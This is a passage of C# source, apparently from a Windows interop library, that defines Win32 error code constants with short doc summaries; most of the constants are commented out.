ERROR_META_EXPANSION_TOO_LONG = 208;\n      //public const uint ERROR_INVALID_SIGNAL_NUMBER = 209;\n      //public const uint ERROR_THREAD_1_INACTIVE = 210;\n      //public const uint ERROR_LOCKED = 212;\n      //public const uint ERROR_TOO_MANY_MODULES = 214;\n      //public const uint ERROR_NESTING_NOT_ALLOWED = 215;\n      //public const uint ERROR_EXE_MACHINE_TYPE_MISMATCH = 216;\n      //public const uint ERROR_EXE_CANNOT_MODIFY_SIGNED_BINARY = 217;\n      //public const uint ERROR_EXE_CANNOT_MODIFY_STRONG_SIGNED_BINARY = 218;\n      //public const uint ERROR_BAD_PIPE = 230;\n      //public const uint ERROR_PIPE_BUSY = 231;\n      //public const uint ERROR_NO_DATA = 232;\n      //public const uint ERROR_PIPE_NOT_CONNECTED = 233;\n\n      /// <summary>(234) More data is available.</summary>\n      public const uint ERROR_MORE_DATA = 234;\n\n      //public const uint ERROR_VC_DISCONNECTED = 240;\n      //public const uint ERROR_INVALID_EA_NAME = 254;\n      //public const uint ERROR_EA_LIST_INCONSISTENT = 255;\n      //public const uint WAIT_TIMEOUT = 258;   \n\n      ///// <summary>(259) No more data is available.</summary>\n      public const uint ERROR_NO_MORE_ITEMS = 259;\n\n      //public const uint ERROR_CANNOT_COPY = 266;\n\n      /// <summary>(267) The directory name is invalid.</summary>\n      public const uint ERROR_DIRECTORY = 267;\n\n      //public const uint ERROR_EAS_DIDNT_FIT = 275;\n      //public const uint ERROR_EA_FILE_CORRUPT = 276;\n      //public const uint ERROR_EA_TABLE_FULL = 277;\n      //public const uint ERROR_INVALID_EA_HANDLE = 278;\n      //public const uint ERROR_EAS_NOT_SUPPORTED = 282;\n      //public const uint ERROR_NOT_OWNER = 288;\n      //public const uint ERROR_TOO_MANY_POSTS = 298;\n      //public const uint ERROR_PARTIAL_COPY = 299;\n      //public const uint ERROR_OPLOCK_NOT_GRANTED = 300;\n      //public const uint ERROR_INVALID_OPLOCK_PROTOCOL = 301;\n      //public const uint ERROR_DISK_TOO_FRAGMENTED = 302;\n      //public const uint ERROR_DELETE_PENDING = 303;\n      //public const uint ERROR_MR_MID_NOT_FOUND = 317;\n      //public const uint ERROR_SCOPE_NOT_FOUND = 318;\n      //public const uint ERROR_INVALID_ADDRESS = 487;\n      //public const uint ERROR_ARITHMETIC_OVERFLOW = 534;\n      //public const uint ERROR_PIPE_CONNECTED = 535;\n      //public const uint ERROR_PIPE_LISTENING = 536;\n      //public const uint ERROR_EA_ACCESS_DENIED = 994;\n\n      /// <summary>(995) The I/O operation has been aborted because of either a thread exit or an application request.</summary>\n      public const uint ERROR_OPERATION_ABORTED = 995;\n\n      //public const uint ERROR_IO_INCOMPLETE = 996;\n\n      //// <summary>(997) Overlapped I/O operation is in progress.</summary>\n      //public const uint ERROR_IO_PENDING = 997;\n\n      //public const uint ERROR_NOACCESS = 998;\n      //public const uint ERROR_SWAPERROR = 999;\n      //public const uint ERROR_STACK_OVERFLOW = 1001;\n      //public const uint ERROR_INVALID_MESSAGE = 1002;\n      //public const uint ERROR_CAN_NOT_COMPLETE = 1003;\n      //public const uint ERROR_INVALID_FLAGS = 1004;\n      //public const uint ERROR_UNRECOGNIZED_VOLUME = 1005;\n      //public const uint ERROR_FILE_INVALID = 1006;\n      //public const uint ERROR_FULLSCREEN_MODE = 1007;\n      //public const uint ERROR_NO_TOKEN = 1008;\n      //public const uint ERROR_BADDB = 1009;\n      //public const uint ERROR_BADKEY = 1010;\n      //public const uint ERROR_CANTOPEN = 1011;\n      //public const uint ERROR_CANTREAD = 1012;\n      //public const uint ERROR_CANTWRITE = 1013;\n      //public const uint ERROR_REGISTRY_RECOVERED = 1014;\n      //public const uint ERROR_REGISTRY_CORRUPT = 1015;\n      //public const uint ERROR_REGISTRY_IO_FAILED = 1016;\n      //public const uint ERROR_NOT_REGISTRY_FILE = 1017;\n      //public const uint ERROR_KEY_DELETED = 1018;\n      //public const uint ERROR_NO_LOG_SPACE = 1019;\n      //public const uint ERROR_KEY_HAS_CHILDREN = 1020;\n      //public const uint ERROR_CHILD_MUST_BE_VOLATILE = 1021;\n      //public const uint ERROR_NOTIFY_ENUM_DIR = 1022;\n      //public const uint ERROR_DEPENDENT_SERVICES_RUNNING = 1051;\n      //public const uint ERROR_INVALID_SERVICE_CONTROL = 1052;\n      //public const uint ERROR_SERVICE_REQUEST_TIMEOUT = 1053;\n      //public const uint ERROR_SERVICE_NO_THREAD = 1054;\n      //public const uint ERROR_SERVICE_DATABASE_LOCKED = 1055;\n      //public const uint ERROR_SERVICE_ALREADY_RUNNING = 1056;\n      //public const uint ERROR_INVALID_SERVICE_ACCOUNT = 1057;\n      //public const uint ERROR_SERVICE_DISABLED = 1058;\n      //public const uint ERROR_CIRCULAR_DEPENDENCY = 1059;\n      //public const uint ERROR_SERVICE_DOES_NOT_EXIST = 1060;\n      //public const uint ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061;\n      //public const uint ERROR_SERVICE_NOT_ACTIVE = 1062;\n      //public const uint ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063;\n      //public const uint ERROR_EXCEPTION_IN_SERVICE = 1064;\n      //public const uint ERROR_DATABASE_DOES_NOT_EXIST = 1065;\n      //public const uint ERROR_SERVICE_SPECIFIC_ERROR = 1066;\n      //public const uint ERROR_PROCESS_ABORTED = 1067;\n      //public const uint ERROR_SERVICE_DEPENDENCY_FAIL = 1068;\n      //public const uint ERROR_SERVICE_LOGON_FAILED = 1069;\n      //public const uint ERROR_SERVICE_START_HANG = 1070;\n      //public const uint ERROR_INVALID_SERVICE_LOCK = 1071;\n      //public const uint ERROR_SERVICE_MARKED_FOR_DELETE = 1072;\n      //public const uint ERROR_SERVICE_EXISTS = 1073;\n      //public const uint ERROR_ALREADY_RUNNING_LKG = 1074;\n      //public const uint ERROR_SERVICE_DEPENDENCY_DELETED = 1075;\n      //public const uint ERROR_BOOT_ALREADY_ACCEPTED = 1076;\n      //public const uint ERROR_SERVICE_NEVER_STARTED = 1077;\n      //public const uint ERROR_DUPLICATE_SERVICE_NAME = 1078;\n      //public const uint ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079;\n      //public const uint ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080;\n      //public const uint ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081;\n      //public const uint ERROR_NO_RECOVERY_PROGRAM = 1082;\n      //public const uint ERROR_SERVICE_NOT_IN_EXE = 1083;\n      //public const uint ERROR_NOT_SAFEBOOT_SERVICE = 1084;\n      //public const uint ERROR_END_OF_MEDIA = 1100;\n      //public const uint ERROR_FILEMARK_DETECTED = 1101;\n      //public const uint ERROR_BEGINNING_OF_MEDIA = 1102;\n      //public const uint ERROR_SETMARK_DETECTED = 1103;\n      //public const uint ERROR_NO_DATA_DETECTED = 1104;\n      //public const uint ERROR_PARTITION_FAILURE = 1105;\n      //public const uint ERROR_INVALID_BLOCK_LENGTH = 1106;\n      //public const uint ERROR_DEVICE_NOT_PARTITIONED = 1107;\n      //public const uint ERROR_UNABLE_TO_LOCK_MEDIA = 1108;\n      //public const uint ERROR_UNABLE_TO_UNLOAD_MEDIA = 1109;\n      //public const uint ERROR_MEDIA_CHANGED = 1110;\n      //public const uint ERROR_BUS_RESET = 1111;\n      //public const uint ERROR_NO_MEDIA_IN_DRIVE = 1112;\n      //public const uint ERROR_NO_UNICODE_TRANSLATION = 1113;\n      //public const uint ERROR_DLL_INIT_FAILED = 1114;\n      //public const uint ERROR_SHUTDOWN_IN_PROGRESS = 1115;\n      //public const uint ERROR_NO_SHUTDOWN_IN_PROGRESS = 1116;\n      //public const uint ERROR_IO_DEVICE = 1117;\n      //public const uint ERROR_SERIAL_NO_DEVICE = 1118;\n      //public const uint ERROR_IRQ_BUSY = 1119;\n      //public const uint ERROR_MORE_WRITES = 1120;\n      //public const uint ERROR_COUNTER_TIMEOUT = 1121;\n      //public const uint ERROR_FLOPPY_ID_MARK_NOT_FOUND = 1122;\n      //public const uint ERROR_FLOPPY_WRONG_CYLINDER = 1123;\n      //public const uint ERROR_FLOPPY_UNKNOWN_ERROR = 1124;\n      //public const uint ERROR_FLOPPY_BAD_REGISTERS = 1125;\n      //public const uint ERROR_DISK_RECALIBRATE_FAILED = 1126;\n      //public const uint ERROR_DISK_OPERATION_FAILED = 1127;\n      //public const uint ERROR_DISK_RESET_FAILED = 1128;\n      //public const uint ERROR_EOM_OVERFLOW = 1129;\n      //public const uint ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130;\n      //public const uint ERROR_POSSIBLE_DEADLOCK = 1131;\n      //public const uint ERROR_MAPPED_ALIGNMENT = 1132;\n      //public const uint ERROR_SET_POWER_STATE_VETOED = 1140;\n      //public const uint ERROR_SET_POWER_STATE_FAILED = 1141;\n      //public const uint ERROR_TOO_MANY_LINKS = 1142;\n\n      /// <summary>(1150) The specified program requires a newer version of Windows.</summary>\n      public const uint ERROR_OLD_WIN_VERSION = 1150;\n\n      //public const uint ERROR_APP_WRONG_OS = 1151;\n      //public const uint ERROR_SINGLE_INSTANCE_APP = 1152;\n      //public const uint ERROR_RMODE_APP = 1153;\n      //public const uint ERROR_INVALID_DLL = 1154;\n      //public const uint ERROR_NO_ASSOCIATION = 1155;\n      //public const uint ERROR_DDE_FAIL = 1156;\n      //public const uint ERROR_DLL_NOT_FOUND = 1157;\n      //public const uint ERROR_NO_MORE_USER_HANDLES = 1158;\n      //public const uint ERROR_MESSAGE_SYNC_ONLY = 1159;\n      //public const uint ERROR_SOURCE_ELEMENT_EMPTY = 1160;\n      //public const uint ERROR_DESTINATION_ELEMENT_FULL = 1161;\n      //public const uint ERROR_ILLEGAL_ELEMENT_ADDRESS = 1162;\n      //public const uint ERROR_MAGAZINE_NOT_PRESENT = 1163;\n      //public const uint ERROR_DEVICE_REINITIALIZATION_NEEDED = 1164;   \n      //public const uint ERROR_DEVICE_REQUIRES_CLEANING = 1165;\n      //public const uint ERROR_DEVICE_DOOR_OPEN = 1166;\n      //public const uint ERROR_DEVICE_NOT_CONNECTED = 1167;\n      //public const uint ERROR_NOT_FOUND = 1168;\n      //public const uint ERROR_NO_MATCH = 1169;\n      //public const uint ERROR_SET_NOT_FOUND = 1170;\n      //public const uint ERROR_POINT_NOT_FOUND = 1171;\n      //public const uint ERROR_NO_TRACKING_SERVICE = 1172;\n      //public const uint ERROR_NO_VOLUME_ID = 1173;\n      //public const uint ERROR_UNABLE_TO_REMOVE_REPLACED = 1175;\n      //public const uint ERROR_UNABLE_TO_MOVE_REPLACEMENT = 1176;\n      //public const uint ERROR_UNABLE_TO_MOVE_REPLACEMENT_2 = 1177;\n      //public const uint ERROR_JOURNAL_DELETE_IN_PROGRESS = 1178;\n      //public const uint ERROR_JOURNAL_NOT_ACTIVE = 1179;\n      //public const uint ERROR_POTENTIAL_FILE_FOUND = 1180;\n      //public const uint ERROR_JOURNAL_ENTRY_DELETED = 1181;\n\n      //// <summary>(1200) The specified device name is invalid.</summary>\n      //public const uint ERROR_BAD_DEVICE = 1200;\n\n      //public const uint ERROR_CONNECTION_UNAVAIL = 1201;\n      //public const uint ERROR_DEVICE_ALREADY_REMEMBERED = 1202;\n      //public const uint ERROR_NO_NET_OR_BAD_PATH = 1203;\n      //public const uint ERROR_BAD_PROVIDER = 1204;\n      //public const uint ERROR_CANNOT_OPEN_PROFILE = 1205;\n      //public const uint ERROR_BAD_PROFILE = 1206;\n      //public const uint ERROR_NOT_CONTAINER = 1207;\n\n      //// <summary>(1208) An extended error has occurred.</summary>\n      //public const uint ERROR_EXTENDED_ERROR = 1208;\n\n      //public const uint ERROR_INVALID_GROUPNAME = 1209;\n      //public const uint ERROR_INVALID_COMPUTERNAME = 1210;\n      //public const uint ERROR_INVALID_EVENTNAME = 1211;\n      //public const uint ERROR_INVALID_DOMAINNAME = 1212;\n      //public const uint ERROR_INVALID_SERVICENAME = 1213;\n      //public const uint ERROR_INVALID_NETNAME = 1214;\n      //public const uint ERROR_INVALID_SHARENAME = 1215;\n      //public const uint ERROR_INVALID_PASSWORDNAME = 1216;\n      //public const uint ERROR_INVALID_MESSAGENAME = 1217;\n      //public const uint ERROR_INVALID_MESSAGEDEST = 1218;\n      //public const uint ERROR_SESSION_CREDENTIAL_CONFLICT = 1219;\n      //public const uint ERROR_REMOTE_SESSION_LIMIT_EXCEEDED = 1220;\n      //public const uint ERROR_DUP_DOMAINNAME = 1221;\n\n      //// <summary>(1222) The network is not present or not started.</summary>\n      //public const uint ERROR_NO_NETWORK = 1222;\n\n      //public const uint ERROR_CANCELLED = 1223;\n      //public const uint ERROR_USER_MAPPED_FILE = 1224;\n      //public const uint ERROR_CONNECTION_REFUSED = 1225;\n      //public const uint ERROR_GRACEFUL_DISCONNECT = 1226;\n      //public const uint ERROR_ADDRESS_ALREADY_ASSOCIATED = 1227;\n      //public const uint ERROR_ADDRESS_NOT_ASSOCIATED = 1228;\n      //public const uint ERROR_CONNECTION_INVALID = 1229;\n      //public const uint ERROR_CONNECTION_ACTIVE = 1230;\n      //public const uint ERROR_NETWORK_UNREACHABLE = 1231;\n      //public const uint ERROR_HOST_UNREACHABLE = 1232;\n      //public const uint ERROR_PROTOCOL_UNREACHABLE = 1233;\n      //public const uint ERROR_PORT_UNREACHABLE = 1234;\n\n      /// <summary>(1235) The request was aborted.</summary>\n      public const uint ERROR_REQUEST_ABORTED = 1235;\n\n      //public const uint ERROR_CONNECTION_ABORTED = 1236;\n      //public const uint ERROR_RETRY = 1237;\n      //public const uint ERROR_CONNECTION_COUNT_LIMIT = 1238;\n      //public const uint ERROR_LOGIN_TIME_RESTRICTION = 1239;\n      //public const uint ERROR_LOGIN_WKSTA_RESTRICTION = 1240;\n      //public const uint ERROR_INCORRECT_ADDRESS = 1241;\n      //public const uint ERROR_ALREADY_REGISTERED = 1242;\n      //public const uint ERROR_SERVICE_NOT_FOUND = 1243;\n      //public const uint ERROR_NOT_AUTHENTICATED = 1244;\n      //public const uint ERROR_NOT_LOGGED_ON = 1245;\n      //public const uint ERROR_CONTINUE = 1246;   \n      //public const uint ERROR_ALREADY_INITIALIZED = 1247;\n      //public const uint ERROR_NO_MORE_DEVICES = 1248;   \n      //public const uint ERROR_NO_SUCH_SITE = 1249;\n      //public const uint ERROR_DOMAIN_CONTROLLER_EXISTS = 1250;\n      //public const uint ERROR_ONLY_IF_CONNECTED = 1251;\n      //public const uint ERROR_OVERRIDE_NOCHANGES = 1252;\n      //public const uint ERROR_BAD_USER_PROFILE = 1253;\n      //public const uint ERROR_NOT_SUPPORTED_ON_SBS = 1254;\n      //public const uint ERROR_SERVER_SHUTDOWN_IN_PROGRESS = 1255;\n      //public const uint ERROR_HOST_DOWN = 1256;\n      //public const uint ERROR_NON_ACCOUNT_SID = 1257;\n      //public const uint ERROR_NON_DOMAIN_SID = 1258;\n      //public const uint ERROR_APPHELP_BLOCK = 1259;\n      //public const uint ERROR_ACCESS_DISABLED_BY_POLICY = 1260;\n      //public const uint ERROR_REG_NAT_CONSUMPTION = 1261;\n      //public const uint ERROR_CSCSHARE_OFFLINE = 1262;\n      //public const uint ERROR_PKINIT_FAILURE = 1263;\n      //public const uint ERROR_SMARTCARD_SUBSYSTEM_FAILURE = 1264;\n      //public const uint ERROR_DOWNGRADE_DETECTED = 1265;\n      //public const uint ERROR_MACHINE_LOCKED = 1271;\n      //public const uint ERROR_CALLBACK_SUPPLIED_INVALID_DATA = 1273;\n      //public const uint ERROR_SYNC_FOREGROUND_REFRESH_REQUIRED = 1274;\n      //public const uint ERROR_DRIVER_BLOCKED = 1275;\n      //public const uint ERROR_INVALID_IMPORT_OF_NON_DLL = 1276;\n      //public const uint ERROR_ACCESS_DISABLED_WEBBLADE = 1277;\n      //public const uint ERROR_ACCESS_DISABLED_WEBBLADE_TAMPER = 1278;\n      //public const uint ERROR_RECOVERY_FAILURE = 1279;\n      //public const uint ERROR_ALREADY_FIBER = 1280;\n      //public const uint ERROR_ALREADY_THREAD = 1281;\n      //public const uint ERROR_STACK_BUFFER_OVERRUN = 1282;\n      //public const uint ERROR_PARAMETER_QUOTA_EXCEEDED = 1283;\n      //public const uint ERROR_DEBUGGER_INACTIVE = 1284;\n      //public const uint ERROR_DELAY_LOAD_FAILED = 1285;\n      //public const uint ERROR_VDM_DISALLOWED = 1286;\n      //public const uint ERROR_UNIDENTIFIED_ERROR = 1287;\n      //public const uint ERROR_NOT_ALL_ASSIGNED = 1300;\n      //public const uint ERROR_SOME_NOT_MAPPED = 1301;\n      //public const uint ERROR_NO_QUOTAS_FOR_ACCOUNT = 1302;\n      //public const uint ERROR_LOCAL_USER_SESSION_KEY = 1303;\n      //public const uint ERROR_NULL_LM_PASSWORD = 1304;\n      //public const uint ERROR_UNKNOWN_REVISION = 1305;\n      //public const uint ERROR_REVISION_MISMATCH = 1306;\n      //public const uint ERROR_INVALID_OWNER = 1307;\n      //public const uint ERROR_INVALID_PRIMARY_GROUP = 1308;\n      //public const uint ERROR_NO_IMPERSONATION_TOKEN = 1309;\n      //public const uint ERROR_CANT_DISABLE_MANDATORY = 1310;\n      //public const uint ERROR_NO_LOGON_SERVERS = 1311;\n      //public const uint ERROR_NO_SUCH_LOGON_SESSION = 1312;\n      //public const uint ERROR_NO_SUCH_PRIVILEGE = 1313;\n      //public const uint ERROR_PRIVILEGE_NOT_HELD = 1314;\n      //public const uint ERROR_INVALID_ACCOUNT_NAME = 1315;\n      //public const uint ERROR_USER_EXISTS = 1316;\n      //public const uint ERROR_NO_SUCH_USER = 1317;\n      //public const uint ERROR_GROUP_EXISTS = 1318;\n      //public const uint ERROR_NO_SUCH_GROUP = 1319;\n      //public const uint ERROR_MEMBER_IN_GROUP = 1320;\n      //public const uint ERROR_MEMBER_NOT_IN_GROUP = 1321;\n      //public const uint ERROR_LAST_ADMIN = 1322;\n      //public const uint ERROR_WRONG_PASSWORD = 1323;\n      //public const uint ERROR_ILL_FORMED_PASSWORD = 1324;\n      //public const uint ERROR_PASSWORD_RESTRICTION = 1325;\n      //public const uint ERROR_LOGON_FAILURE = 1326;\n      //public const uint ERROR_ACCOUNT_RESTRICTION = 1327;\n      //public const uint ERROR_INVALID_LOGON_HOURS = 1328;\n      //public const uint ERROR_INVALID_WORKSTATION = 1329;\n      //public const uint ERROR_PASSWORD_EXPIRED = 1330;\n      //public const uint ERROR_ACCOUNT_DISABLED = 1331;\n      //public const uint ERROR_NONE_MAPPED = 1332;\n      //public const uint ERROR_TOO_MANY_LUIDS_REQUESTED = 1333;\n      //public const uint ERROR_LUIDS_EXHAUSTED = 1334;\n      //public const uint ERROR_INVALID_SUB_AUTHORITY = 1335;\n      //public const uint ERROR_INVALID_ACL = 1336;\n      //public const uint ERROR_INVALID_SID = 1337;\n\n      /// <summary>(1338) The security descriptor structure is invalid.</summary>\n      public const uint ERROR_INVALID_SECURITY_DESCR = 1338;\n\n      //public const uint ERROR_BAD_INHERITANCE_ACL = 1340;\n      //public const uint ERROR_SERVER_DISABLED = 1341;\n      //public const uint ERROR_SERVER_NOT_DISABLED = 1342;\n      //public const uint ERROR_INVALID_ID_AUTHORITY = 1343;\n      //public const uint ERROR_ALLOTTED_SPACE_EXCEEDED = 1344;\n      //public const uint ERROR_INVALID_GROUP_ATTRIBUTES = 1345;\n      //public const uint ERROR_BAD_IMPERSONATION_LEVEL = 1346;\n      //public const uint ERROR_CANT_OPEN_ANONYMOUS = 1347;\n      //public const uint ERROR_BAD_VALIDATION_CLASS = 1348;\n      //public const uint ERROR_BAD_TOKEN_TYPE = 1349;\n      //public const uint ERROR_NO_SECURITY_ON_OBJECT = 1350;\n      //public const uint ERROR_CANT_ACCESS_DOMAIN_INFO = 1351;\n      //public const uint ERROR_INVALID_SERVER_STATE = 1352;\n      //public const uint ERROR_INVALID_DOMAIN_STATE = 1353;\n      //public const uint ERROR_INVALID_DOMAIN_ROLE = 1354;\n      //public const uint ERROR_NO_SUCH_DOMAIN = 1355;\n      //public const uint ERROR_DOMAIN_EXISTS = 1356;\n      //public const uint ERROR_DOMAIN_LIMIT_EXCEEDED = 1357;\n      //public const uint ERROR_INTERNAL_DB_CORRUPTION = 1358;\n      //public const uint ERROR_INTERNAL_ERROR = 1359;\n      //public const uint ERROR_GENERIC_NOT_MAPPED = 1360;\n      //public const uint ERROR_BAD_DESCRIPTOR_FORMAT = 1361;\n      //public const uint ERROR_NOT_LOGON_PROCESS = 1362;\n      //public const uint ERROR_LOGON_SESSION_EXISTS = 1363;\n      //public const uint ERROR_NO_SUCH_PACKAGE = 1364;\n      //public const uint ERROR_BAD_LOGON_SESSION_STATE = 1365;\n      //public const uint ERROR_LOGON_SESSION_COLLISION = 1366;\n      //public const uint ERROR_INVALID_LOGON_TYPE = 1367;\n      //public const uint ERROR_CANNOT_IMPERSONATE = 1368;\n      //public const uint ERROR_RXACT_INVALID_STATE = 1369;\n      //public const uint ERROR_RXACT_COMMIT_FAILURE = 1370;\n      //public const uint ERROR_SPECIAL_ACCOUNT = 1371;\n      //public const uint ERROR_SPECIAL_GROUP = 1372;\n      //public const uint ERROR_SPECIAL_USER = 1373;\n      //public const uint ERROR_MEMBERS_PRIMARY_GROUP = 1374;\n      //public const uint ERROR_TOKEN_ALREADY_IN_USE = 1375;\n      //public const uint ERROR_NO_SUCH_ALIAS = 1376;\n      //public const uint ERROR_MEMBER_NOT_IN_ALIAS = 1377;\n      //public const uint ERROR_MEMBER_IN_ALIAS = 1378;\n      //public const uint ERROR_ALIAS_EXISTS = 1379;\n      //public const uint ERROR_LOGON_NOT_GRANTED = 1380;\n      //public const uint ERROR_TOO_MANY_SECRETS = 1381;\n      //public const uint ERROR_SECRET_TOO_LONG = 1382;\n      //public const uint ERROR_INTERNAL_DB_ERROR = 1383;\n      //public const uint ERROR_TOO_MANY_CONTEXT_IDS = 1384;\n      //public const uint ERROR_LOGON_TYPE_NOT_GRANTED = 1385;\n      //public const uint ERROR_NT_CROSS_ENCRYPTION_REQUIRED = 1386;\n      //public const uint ERROR_NO_SUCH_MEMBER = 1387;\n      //public const uint ERROR_INVALID_MEMBER = 1388;\n      //public const uint ERROR_TOO_MANY_SIDS = 1389;\n      //public const uint ERROR_LM_CROSS_ENCRYPTION_REQUIRED = 1390;\n      //public const uint ERROR_NO_INHERITANCE = 1391;\n      //public const uint ERROR_FILE_CORRUPT = 1392;\n      //public const uint ERROR_DISK_CORRUPT = 1393;\n      //public const uint ERROR_NO_USER_SESSION_KEY = 1394;\n      //public const uint ERROR_LICENSE_QUOTA_EXCEEDED = 1395;\n      //public const uint ERROR_WRONG_TARGET_NAME = 1396;\n      //public const uint ERROR_MUTUAL_AUTH_FAILED = 1397;\n      //public const uint ERROR_TIME_SKEW = 1398;\n      //public const uint ERROR_CURRENT_DOMAIN_NOT_ALLOWED = 1399;\n      //public const uint ERROR_INVALID_WINDOW_HANDLE = 1400;\n      //public const uint ERROR_INVALID_MENU_HANDLE = 1401;\n      //public const uint ERROR_INVALID_CURSOR_HANDLE = 1402;\n      //public const uint ERROR_INVALID_ACCEL_HANDLE = 1403;\n      //public const uint ERROR_INVALID_HOOK_HANDLE = 1404;\n      //public const uint ERROR_INVALID_DWP_HANDLE = 1405;\n      //public const uint ERROR_TLW_WITH_WSCHILD = 1406;\n      //public const uint ERROR_CANNOT_FIND_WND_CLASS = 1407;\n      //public const uint ERROR_WINDOW_OF_OTHER_THREAD = 1408;\n      //public const uint ERROR_HOTKEY_ALREADY_REGISTERED = 1409;\n      //public const uint ERROR_CLASS_ALREADY_EXISTS = 1410;\n      //public const uint ERROR_CLASS_DOES_NOT_EXIST = 1411;\n      //public const uint ERROR_CLASS_HAS_WINDOWS = 1412;\n      //public const uint ERROR_INVALID_INDEX = 1413;\n      //public const uint ERROR_INVALID_ICON_HANDLE = 1414;\n      //public const uint ERROR_PRIVATE_DIALOG_INDEX = 1415;\n      //public const uint ERROR_LISTBOX_ID_NOT_FOUND = 1416;\n      //public const uint ERROR_NO_WILDCARD_CHARACTERS = 1417;\n      //public const uint ERROR_CLIPBOARD_NOT_OPEN = 1418;\n      //public const uint ERROR_HOTKEY_NOT_REGISTERED = 1419;\n      //public const uint ERROR_WINDOW_NOT_DIALOG = 1420;\n      //public const uint ERROR_CONTROL_ID_NOT_FOUND = 1421;\n      //public const uint ERROR_INVALID_COMBOBOX_MESSAGE = 1422;\n      //public const uint ERROR_WINDOW_NOT_COMBOBOX = 1423;\n      //public const uint ERROR_INVALID_EDIT_HEIGHT = 1424;\n      //public const uint ERROR_DC_NOT_FOUND = 1425;\n      //public const uint ERROR_INVALID_HOOK_FILTER = 1426;\n      //public const uint ERROR_INVALID_FILTER_PROC = 1427;\n      //public const uint ERROR_HOOK_NEEDS_HMOD = 1428;\n      //public const uint ERROR_GLOBAL_ONLY_HOOK = 1429;\n      //public const uint ERROR_JOURNAL_HOOK_SET = 1430;\n      //public const uint ERROR_HOOK_NOT_INSTALLED = 1431;\n      //public const uint ERROR_INVALID_LB_MESSAGE = 1432;\n      //public const uint ERROR_SETCOUNT_ON_BAD_LB = 1433;\n      //public const uint ERROR_LB_WITHOUT_TABSTOPS = 1434;\n      //public const uint ERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 1435;\n      //public const uint ERROR_CHILD_WINDOW_MENU = 1436;\n      //public const uint ERROR_NO_SYSTEM_MENU = 1437;\n      //public const uint ERROR_INVALID_MSGBOX_STYLE = 1438;\n      //public const uint ERROR_INVALID_SPI_VALUE = 1439;\n      //public const uint ERROR_SCREEN_ALREADY_LOCKED = 1440;\n      //public const uint ERROR_HWNDS_HAVE_DIFF_PARENT = 1441;\n      //public const uint ERROR_NOT_CHILD_WINDOW = 1442;\n      //public const uint ERROR_INVALID_GW_COMMAND = 1443;\n      //public const uint ERROR_INVALID_THREAD_ID = 1444;\n      //public const uint ERROR_NON_MDICHILD_WINDOW = 1445;\n      //public const uint ERROR_POPUP_ALREADY_ACTIVE = 1446;\n      //public const uint ERROR_NO_SCROLLBARS = 1447;\n      //public const uint ERROR_INVALID_SCROLLBAR_RANGE = 1448;\n      //public const uint ERROR_INVALID_SHOWWIN_COMMAND = 1449;\n      //public const uint ERROR_NO_SYSTEM_RESOURCES = 1450;\n      //public const uint ERROR_NONPAGED_SYSTEM_RESOURCES = 1451;\n      //public const uint ERROR_PAGED_SYSTEM_RESOURCES = 1452;\n      //public const uint ERROR_WORKING_SET_QUOTA = 1453;\n      //public const uint ERROR_PAGEFILE_QUOTA = 1454;\n      //public const uint ERROR_COMMITMENT_LIMIT = 1455;\n      //public const uint ERROR_MENU_ITEM_NOT_FOUND = 1456;\n      //public const uint ERROR_INVALID_KEYBOARD_HANDLE = 1457;\n      //public const uint ERROR_HOOK_TYPE_NOT_ALLOWED = 1458;\n      //public const uint ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 1459;\n      //public const uint ERROR_TIMEOUT = 1460;\n      //public const uint ERROR_INVALID_MONITOR_HANDLE = 1461;\n      //public const uint ERROR_INCORRECT_SIZE = 1462;\n      //public const uint ERROR_EVENTLOG_FILE_CORRUPT = 1500;\n      //public const uint ERROR_EVENTLOG_CANT_START = 1501;\n      //public const uint ERROR_LOG_FILE_FULL = 1502;\n      //public const uint ERROR_EVENTLOG_FILE_CHANGED = 1503;\n      //public const uint ERROR_INSTALL_SERVICE_FAILURE = 1601;\n      //public const uint ERROR_INSTALL_USEREXIT = 1602;\n      //public const uint ERROR_INSTALL_FAILURE = 1603;\n      //public const uint ERROR_INSTALL_SUSPEND = 1604;\n      //public const uint ERROR_UNKNOWN_PRODUCT = 1605;\n      //public const uint ERROR_UNKNOWN_FEATURE = 1606;\n      //public const uint ERROR_UNKNOWN_COMPONENT = 1607;\n      //public const uint ERROR_UNKNOWN_PROPERTY = 1608;\n      //public const uint ERROR_INVALID_HANDLE_STATE = 1609;\n      //public const uint ERROR_BAD_CONFIGURATION = 1610;\n      //public const uint ERROR_INDEX_ABSENT = 1611;\n      //public const uint ERROR_INSTALL_SOURCE_ABSENT = 1612;\n      //public const uint ERROR_INSTALL_PACKAGE_VERSION = 1613;\n      //public const uint ERROR_PRODUCT_UNINSTALLED = 1614;\n      //public const uint ERROR_BAD_QUERY_SYNTAX = 1615;\n      //public const uint ERROR_INVALID_FIELD = 1616;\n      //public const uint ERROR_DEVICE_REMOVED = 1617;\n      //public const uint ERROR_INSTALL_ALREADY_RUNNING = 1618;\n      //public const uint ERROR_INSTALL_PACKAGE_OPEN_FAILED = 1619;\n      //public const uint ERROR_INSTALL_PACKAGE_INVALID = 1620;\n      //public const uint ERROR_INSTALL_UI_FAILURE = 1621;\n      //public const uint ERROR_INSTALL_LOG_FAILURE = 1622;\n      //public const uint ERROR_INSTALL_LANGUAGE_UNSUPPORTED = 1623;\n      //public const uint ERROR_INSTALL_TRANSFORM_FAILURE = 1624;\n      //public const uint ERROR_INSTALL_PACKAGE_REJECTED = 1625;\n      //public const uint ERROR_FUNCTION_NOT_CALLED = 1626;\n      //public const uint ERROR_FUNCTION_FAILED = 1627;\n      //public const uint ERROR_INVALID_TABLE = 1628;\n      //public const uint ERROR_DATATYPE_MISMATCH = 1629;\n      //public const uint ERROR_UNSUPPORTED_TYPE = 1630;\n      //public const uint ERROR_CREATE_FAILED = 1631;\n      //public const uint ERROR_INSTALL_TEMP_UNWRITABLE = 1632;\n      //public const uint ERROR_INSTALL_PLATFORM_UNSUPPORTED = 1633;\n      //public const uint ERROR_INSTALL_NOTUSED = 1634;\n      //public const uint ERROR_PATCH_PACKAGE_OPEN_FAILED = 1635;\n      //public const uint ERROR_PATCH_PACKAGE_INVALID = 1636;\n      //public const uint ERROR_PATCH_PACKAGE_UNSUPPORTED = 1637;\n      //public const uint ERROR_PRODUCT_VERSION = 